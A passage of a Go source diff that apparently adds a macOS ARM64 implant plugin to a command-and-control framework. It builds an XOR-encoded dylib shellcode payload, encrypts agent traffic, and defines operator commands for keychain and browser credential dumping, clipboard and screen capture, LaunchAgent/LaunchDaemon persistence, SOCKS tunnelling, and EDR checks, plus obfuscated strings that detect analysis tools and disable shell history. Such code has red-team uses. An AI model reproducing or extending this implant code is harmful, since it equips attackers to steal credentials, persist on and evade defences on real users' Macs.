(dylib mode)") + + // ── Step 3: Link as dynamic library ── + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + dylibLFlags := "-dynamiclib -lSystem -framework CoreFoundation -Wl,-install_name,/usr/lib/libsystem_product.dylib" + linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s", + NativeCompiler, dylibLFlags, dylibPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link dylib: %w", err) + } + + // ── Step 4: Strip + ad-hoc sign ── + stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+ + "if command -v ldid >/dev/null 2>&1; then "+ + "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+ + "fi", dylibPath, dylibPath) + _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign) + + // ── Step 5: Read dylib bytes ── + dylibBytes, err := os.ReadFile(dylibPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("read dylib: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Dylib size: %d bytes", len(dylibBytes))) + + // ── Step 6: XOR encode with ARM64 decoder stub ── + shellcode, err := xorEncodeShellcodeARM64(dylibBytes) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("xor encode: %w", err) + } + + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (dylib %d + stub overhead)", len(shellcode), len(dylibBytes))) + + return shellcode, Filename, nil +} + +// parseEscapedBytes converts a Go-escaped string like "\x01\x02\xff" to raw bytes. +func parseEscapedBytes(escaped []byte) []byte { + s := string(escaped) + var result []byte + for i := 0; i < len(s); { + if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' { + b, err := strconv.ParseUint(s[i+2:i+4], 16, 8) + if err == nil { + result = append(result, byte(b)) + i += 4 + continue + } + } + result = append(result, s[i]) + i++ + } + return result +} + +// generateNativeConfig creates a C config.h with encrypted profile data as byte arrays. +// agentProfiles contains Go-escaped strings (\xHH format) that we parse to raw bytes. +func generateNativeConfig(agentProfiles [][]byte) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload config\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n") + sb.WriteString("#include \n\n") + sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles))) + + for i, escapedProf := range agentProfiles { + rawProf := parseEscapedBytes(escapedProf) + // Write profile as C byte array + sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i)) + for j := 0; j < len(rawProf); j++ { + if j > 0 && j%16 == 0 { + sb.WriteString("\n ") + } + sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j])) + if j < len(rawProf)-1 { + sb.WriteString(", ") + } + } + sb.WriteString("\n};\n") + sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf))) + } + + // Arrays for iteration + sb.WriteString("static const uint8_t* enc_profiles[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("#endif // CONFIG_H\n") + return sb.String() +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + var agentData adaptix.AgentData + + var sessionInfo SessionInfo + err := msgpack.Unmarshal(beat, &sessionInfo) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + agentData.ACP = int(sessionInfo.Acp) + agentData.OemCP = int(sessionInfo.Oem) + agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID) + agentData.Tid = "" + agentData.Arch = "arm64" + agentData.Elevated = sessionInfo.Elevated + agentData.InternalIP = sessionInfo.Ipaddr + + // macOS agent always reports as darwin + if sessionInfo.Os == "darwin" { + agentData.Os = adaptix.OS_MAC + agentData.OsDesc = sessionInfo.OSVersion + } else { + agentData.Os = adaptix.OS_UNKNOWN + return agentData, nil, errors.New("macOS agent received non-darwin OS") + } + + agentData.SessionKey = sessionInfo.EncryptKey + agentData.Domain = "" + agentData.Computer = sessionInfo.Host + agentData.Username = sessionInfo.User + agentData.Process = sessionInfo.Process + + // TCP agent uses persistent connection — "sleep" is the reconnect timeout + agentData.Sleep = 0 // real-time (persistent TCP) + agentData.Jitter = 0 + + return agentData, &ExtenderAgent{}, nil +} + +/// AGENT HANDLER + +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + + return plaintext, nil +} + +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + var packData []byte + + var objects [][]byte + var command Command + + for _, taskData := range tasks { + taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + + _ = msgpack.Unmarshal(taskData.Data, &command) + command.Id = uint(taskId) + + cmd, _ := msgpack.Marshal(command) + + objects = append(objects, cmd) + } + + message := Message{ + Type: 1, + Object: objects, + } + + packData, _ = msgpack.Marshal(message) + + return packData, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + var ( + packData []byte + err error = nil + ) + + err = errors.New("Function Pivot not packed") + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: packData, + Sync: false, + } + + return taskData, err +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + Sync: true, + } + + messageData = adaptix.ConsoleMessageData{ + Status: adaptix.MESSAGE_INFO, + Text: "", + } + messageData.Message, _ = args["message"].(string) + + var cmd Command + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCat{Path: path}) + cmd = Command{Code: COMMAND_CAT, Data: packerData} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCd{Path: path}) + cmd = Command{Code: COMMAND_CD, Data: packerData} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_CP, Data: packerData} + + case "download": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData} + + case "exit": + cmd = Command{Code: COMMAND_EXIT, Data: nil} + + case "job": + if subcommand == "list" { + cmd = Command{Code: COMMAND_JOB_LIST, Data: nil} + + } else if subcommand == "kill" { + jobId, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId}) + cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData} + + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "kill": + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)}) + cmd = Command{Code: COMMAND_KILL, Data: packerData} + + case "ls": + dir, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLs{Path: dir}) + cmd = Command{Code: COMMAND_LS, Data: packerData} + + case "mv": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_MV, Data: packerData} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path}) + cmd = Command{Code: COMMAND_MKDIR, Data: packerData} + + case "ps": + cmd = Command{Code: COMMAND_PS, Data: nil} + + case "pwd": + cmd = Command{Code: COMMAND_PWD, Data: nil} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsRm{Path: path}) + cmd = Command{Code: COMMAND_RM, Data: packerData} + + case "run": + taskData.Type = adaptix.TASK_TYPE_JOB + + prog, err := getStringArg(args, "program") + if err != nil { + goto RET + } + runArgs, _ := args["args"].(string) + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + cmdArgs, _ := shlex.Split(runArgs) + packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_RUN, Data: packerData} + + case "shell": + cmdParam, err := getStringArg(args, "cmd") + if err != nil { + goto RET + } + + // macOS: always use /bin/zsh (default shell on macOS) + cmdArgs := []string{"-c", cmdParam} + packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/zsh", Args: cmdArgs}) + cmd = Command{Code: COMMAND_SHELL, Data: packerData} + + case "screenshot": + cmd = Command{Code: COMMAND_SCREENSHOT, Data: nil} + + case "clipboard": + cmd = Command{Code: COMMAND_CLIPBOARD, Data: nil} + + case "persist": + if subcommand == "launchagent" || subcommand == "launchdaemon" { + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "install", Method: subcommand, Name: name}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else if subcommand == "remove" { + method, err := getStringArg(args, "method") + if err != nil { + goto RET + } + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "remove", Method: method, Name: name}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else if subcommand == "status" { + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "status"}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else { + err = errors.New("subcommand must be 'launchagent', 'launchdaemon', 'remove', or 'status'") + goto RET + } + + case "tcc_check": + cmd = Command{Code: COMMAND_TCC_CHECK, Data: nil} + + case "defaults_read": + domain, _ := getStringArg(args, "domain") + packerData, _ := msgpack.Marshal(ParamsDefaults{Domain: domain}) + cmd = Command{Code: COMMAND_DEFAULTS, Data: packerData} + + case "edr_check": + cmd = Command{Code: COMMAND_EDR_CHECK, Data: nil} + + case "keychain": + if subcommand == "list" { + packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "list"}) + cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData} + } else if subcommand == "dump" { + packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "dump"}) + cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData} + } else { + err = errors.New("subcommand must be 'list' or 'dump'") + goto RET + } + + case "browser_dump": + browser, err := getStringArg(args, "browser") + if err != nil { + goto RET + } + target, _ := getStringArg(args, "target") + if target == "" { + target = "list" + } + packerData, _ := msgpack.Marshal(ParamsBrowserDump{Browser: browser, Target: target}) + cmd = Command{Code: COMMAND_BROWSER_DUMP, Data: packerData} + + case "socks": + taskData.Type = adaptix.TASK_TYPE_TUNNEL + + portNumber, ok := args["port"].(float64) + port := int(portNumber) + if ok { + if port < 1 || port > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + } + if subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + auth := getBoolArg(args, "-a") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "upload": + remote_path, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + zipContent, zipErr := ZipBytes(fileContent, remote_path) + if zipErr != nil { + err = zipErr + goto RET + } + + chunkSize := 0x500000 // 5Mb + bufferSize := len(zipContent) + + inTaskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + finish := false + if fin >= bufferSize { + fin = bufferSize + finish = true + } + + inPackerData, _ := msgpack.Marshal(ParamsUpload{ + Path: remote_path, + Content: zipContent[start:fin], + Finish: finish, + }) + inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData} + + if finish { + cmd = inCmd + break + + } else { + inTaskData.Data, _ = msgpack.Marshal(inCmd) + inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) + + Ts.TsTaskCreate(agentData.Id, "", "", inTaskData) + } + } + + case "zip": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + zip_path, err := getStringArg(args, "zip_path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsZip{Src: path, Dst: zip_path}) + cmd = Command{Code: COMMAND_ZIP, Data: packerData} + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, _ = msgpack.Marshal(cmd) + +RET: + return taskData, messageData, err +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData + + taskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + FinishDate: time.Now().Unix(), + MessageType: adaptix.MESSAGE_SUCCESS, + Completed: true, + Sync: true, + } + + var ( + inMessage Message + cmd Command + job Job + ) + + err := msgpack.Unmarshal(decryptedData, &inMessage) + if err != nil { + return errors.New("failed to unmarshal message") + } + + if inMessage.Type == 1 { + + for _, cmdBytes := range inMessage.Object { + err = msgpack.Unmarshal(cmdBytes, &cmd) + if err != nil { + continue + } + + TaskId := cmd.Id + commandId := cmd.Code + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + var params AnsCat + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("'%v' file content:", params.Path) + task.ClearText = string(params.Content) + + case COMMAND_CD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_CP: + task.Message = "Object copied successfully" + + case COMMAND_PWD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_KILL: + task.Message = "Process killed" + + case COMMAND_EXIT: + task.Message = "The agent has completed its work (kill process)" + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_JOB_LIST: + var params AnsJobList + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var jobList []JobInfo + err = msgpack.Unmarshal(params.List, &jobList) + if err != nil { + continue + } + + Output := "" + if len(jobList) > 0 { + Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type") + Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------") + + for _, value := range jobList { + stringType := "Unknown" + if value.JobType == 0x2 { + stringType = "Download" + } else if value.JobType == 0x3 { + stringType = "Process" + } + + Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType) + } + + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOB_KILL: + task.Message = "Job killed" + + case COMMAND_LS: + var params AnsLs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + // macOS agent: always Unix-style listing + var items []adaptix.ListingFileDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Files []FileInfo + err := msgpack.Unmarshal(params.Files, &Files) + if err != nil { + continue + } + + filesCount := len(Files) + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path) + } else { + + modeFsize := 1 + lnkFsize := 1 + userFsize := 1 + groupFsize := 1 + sizeFsize := 1 + dateFsize := 1 + + for _, f := range Files { + val := fmt.Sprintf("%d", f.Nlink) + if len(val) > lnkFsize { + lnkFsize = len(val) + } + val = fmt.Sprintf("%d", f.Size) + if len(val) > sizeFsize { + sizeFsize = len(val) + } + if len(f.Mode) > modeFsize { + modeFsize = len(f.Mode) + } + if len(f.User) > userFsize { + userFsize = len(f.User) + } + if len(f.Group) > groupFsize { + groupFsize = len(f.Group) + } + if len(f.Date) > dateFsize { + dateFsize = len(f.Date) + } + } + + format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize) + OutputText := "" + for _, fi := range Files { + OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename) + + fileData := adaptix.ListingFileDataUnix{ + IsDir: fi.IsDir, + Mode: fi.Mode, + User: fi.User, + Group: fi.Group, + Size: fi.Size, + Date: fi.Date, + Filename: fi.Filename, + } + + items = append(items, fileData) + } + + task.Message = fmt.Sprintf("Listing '%s'", params.Path) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesUnix(task, params.Path, items) + + case COMMAND_MKDIR: + task.Message = "Directory created successfully" + + case COMMAND_MV: + task.Message = "Object moved successfully" + + case COMMAND_PS: + var params AnsPs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + // macOS agent: always Unix-style process listing + var proclist []adaptix.ListingProcessDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Processes []PsInfo + err := msgpack.Unmarshal(params.Processes, &Processes) + if err != nil { + continue + } + + procCount := len(Processes) + if procCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = adaptix.MESSAGE_ERROR + break + } else { + pidFsize := 3 + ppidFsize := 4 + ttyFsize := 3 + contextFsize := 7 + processFsize := 7 + + for _, p := range Processes { + val := fmt.Sprintf("%d", p.Pid) + if len(val) > pidFsize { + pidFsize = len(val) + } + val = fmt.Sprintf("%d", p.Ppid) + if len(val) > ppidFsize { + ppidFsize = len(val) + } + if len(p.Tty) > ttyFsize { + ttyFsize = len(p.Tty) + } + if len(p.Context) > contextFsize { + contextFsize = len(p.Context) + } + if len(p.Process) > processFsize { + processFsize = len(p.Process) + } + + procData := adaptix.ListingProcessDataUnix{ + Pid: uint(p.Pid), + Ppid: uint(p.Ppid), + TTY: p.Tty, + Context: p.Context, + ProcessName: p.Process, + } + + proclist = append(proclist, procData) + } + + format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------") + + for _, p := range Processes { + OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process) + } + + task.Message = "Process list:" + task.ClearText = OutputText + } + } + Ts.TsClientGuiProcessUnix(task, proclist) + + case COMMAND_RM: + task.Message = "Object removed successfully" + + case COMMAND_SCREENSHOT: + // Check for error response first + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Screenshot error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsScreenshots + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + for _, screen := range params.Screens { + _ = Ts.TsScreenshotAdd(agentData.Id, "screenshot", screen) + } + task.Message = fmt.Sprintf("Screenshots taken: %d", len(params.Screens)) + + case COMMAND_SHELL: + // Check for error response first + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Shell error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Shell command output:" + task.ClearText = params.Output + + case COMMAND_CLIPBOARD: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Clipboard contents:" + task.ClearText = params.Output + + case COMMAND_PERSIST: + var params AnsPersist + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Persistence:" + task.ClearText = params.Output + + case COMMAND_TCC_CHECK: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "TCC Permissions:" + task.ClearText = params.Output + + case COMMAND_DEFAULTS: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Defaults output:" + task.ClearText = params.Output + + case COMMAND_EDR_CHECK: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "EDR/Security scan:" + task.ClearText = params.Output + + case COMMAND_KEYCHAIN: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Keychain:" + task.ClearText = params.Output + + case COMMAND_BROWSER_DUMP: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Browser data:" + task.ClearText = params.Output + + case COMMAND_UPLOAD: + var params AnsUpload + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("File uploaded: %s", params.Path) + + case COMMAND_ZIP: + var params AnsZip + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("Archive created: %s", params.Path) + + case COMMAND_ERROR: + var params AnsError + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Error:" + task.ClearText = params.Error + task.MessageType = adaptix.MESSAGE_ERROR + + case COMMAND_DOWNLOAD: + task.Message = "Download started" + task.Completed = false + + case COMMAND_RUN: + task.Message = "Process started (async)" + task.Completed = false + + case COMMAND_TUNNEL_START: + task.Message = "Tunnel starting" + task.Completed = false + + case COMMAND_TUNNEL_STOP: + task.Message = "Tunnel stopped" + + case COMMAND_TUNNEL_PAUSE: + task.Message = "Tunnel paused" + + case COMMAND_TUNNEL_RESUME: + task.Message = "Tunnel resumed" + + case COMMAND_TERMINAL_START: + task.Message = "Terminal starting" + task.Completed = false + + case COMMAND_TERMINAL_STOP: + task.Message = "Terminal stopped" + + default: + task.Message = "Unknown response" + task.MessageType = adaptix.MESSAGE_ERROR + } + + outTasks = append(outTasks, task) + } + + } else if inMessage.Type == 2 { + + for _, jobBytes := range inMessage.Object { + + err = msgpack.Unmarshal(jobBytes, &job) + if err != nil { + continue + } + + commandId := job.CommandId + + switch commandId { + + case COMMAND_DOWNLOAD: + var params AnsDownload + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + fileId := fmt.Sprintf("%08x", params.FileId) + + if params.Start { + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size)) + } + + _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) + + if params.Finish { + if params.Canceled { + _ = Ts.TsDownloadClose(fileId, 4) + } else { + _ = Ts.TsDownloadClose(fileId, 3) + } + } + + case COMMAND_RUN: + var params AnsRun + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + task.Completed = params.Finish + + if params.Start { + task.Completed = false + task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid) + task.ClearText = "\n" + + } else if params.Finish { + task.Message = "Process finished" + task.ClearText = "\n" + + } else { + task.Completed = false + task.Message = "" + + if len(params.Stderr) > 0 { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "Stderr:" + task.ClearText = params.Stderr + } + if len(params.Stdout) > 0 { + task.ClearText = params.Stdout + } + } + + outTasks = append(outTasks, task) + + case COMMAND_TUNNEL_START, COMMAND_TUNNEL_STOP, COMMAND_TUNNEL_PAUSE, COMMAND_TUNNEL_RESUME: + proxyTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, proxyTask) + + case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP: + termTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, termTask) + } + } + } + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) + } + + _ = job + + return nil +} + +// xorEncode XOR-encodes a plaintext string with the given key and returns +// a Go byte literal string (e.g., "\x4a\x1b\x..."). +func xorEncode(plain string, key []byte) string { + var sb strings.Builder + kl := len(key) + for i := 0; i < len(plain); i++ { + sb.WriteString(fmt.Sprintf("\\x%02x", plain[i]^key[i%kl])) + } + return sb.String() +} + +// generateObfuscatedStrings produces a Go source file that replaces hardcoded +// sensitive strings with XOR-decoded equivalents. Each payload build gets a +// unique random key, so the encoded bytes differ across payloads. +func generateObfuscatedStrings(key []byte, buildNonce []byte) string { + // Strings to obfuscate — exported function name → plaintext + strs := map[string]string{ + // opsec_darwin.go + "StrHwModel": "hw.model", + "StrKernBootargs": "kern.bootargs", + "StrAmfiBypass": "amfi_get_out_of_my_way", + "StrSandboxEnv": "APP_SANDBOX_CONTAINER_ID", + "StrHopper": "/Applications/Hopper Disassembler v4.app", + "StrIDA": "/Applications/IDA Pro.app", + "StrGhidra": "/Applications/Ghidra.app", + "StrCharles": "/Applications/Charles.app", + "StrProxyman": "/Applications/Proxyman.app", + "StrWireshark": "/Applications/Wireshark.app", + // functions_darwin.go + "StrSystemVersionPlist": "/System/Library/CoreServices/SystemVersion.plist", + "StrProductVersion": "ProductVersion", + "StrMacOS": "MacOS", + // PTY env vars + "StrHistfile": "HISTFILE=/dev/null", + "StrHistfilesize": "HISTFILESIZE=0", + "StrHistsize": "HISTSIZE=0", + "StrHistory": "HISTORY=", + "StrHistsave": "HISTSAVE=", + "StrHistzone": "HISTZONE=", + "StrHistlog": "HISTLOG=", + } + + // Key literal + var keyLit strings.Builder + keyLit.WriteString("[]byte{") + for i, b := range key { + if i > 0 { + keyLit.WriteString(", ") + } + keyLit.WriteString(fmt.Sprintf("0x%02x", b)) + } + 